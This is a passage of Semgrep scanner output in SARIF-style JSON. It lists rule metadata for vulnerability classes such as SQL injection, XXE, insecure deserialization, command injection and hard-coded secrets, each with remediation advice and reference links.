strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","id":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","name":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"help":{"markdown":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","id":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","name":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","properties":{"precision":"very-high","tags":["CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve","id":"python.lang.deserialization.tainted-shelve.tainted-shelve","name":"python.lang.deserialization.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","id":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","name":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Backticks use may lead to command injection vulnerabilities."},"help":{"markdown":"Backticks use may lead to command injection vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use)\n - [https://www.php.net/manual/en/language.operators.execution.php](https://www.php.net/manual/en/language.operators.execution.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php)\n","text":"Backticks use may lead to command injection vulnerabilities."},"helpUri":"https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use","id":"php.lang.security.backticks-use.backticks-use","name":"php.lang.security.backticks-use.backticks-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.backticks-use.backticks-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"help":{"markdown":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled)\n - [https://flask.palletsprojects.com/en/2.0.x/debugging/](https://flask.palletsprojects.com/en/2.0.x/debugging/)\n - [https://flask.palletsprojects.com/en/2.0.x/config/#ENV](https://flask.palletsprojects.com/en/2.0.x/config/#ENV)\n","text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","id":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","name":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","id":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","name":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi","id":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","name":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.pymongo-fastapi.pymongo-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run","id":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","name":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-code-run.dangerous-interactive-code-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","id":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","name":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","id":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","name":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"help":{"markdown":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules)\n - [https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects](https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects)\n","text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX 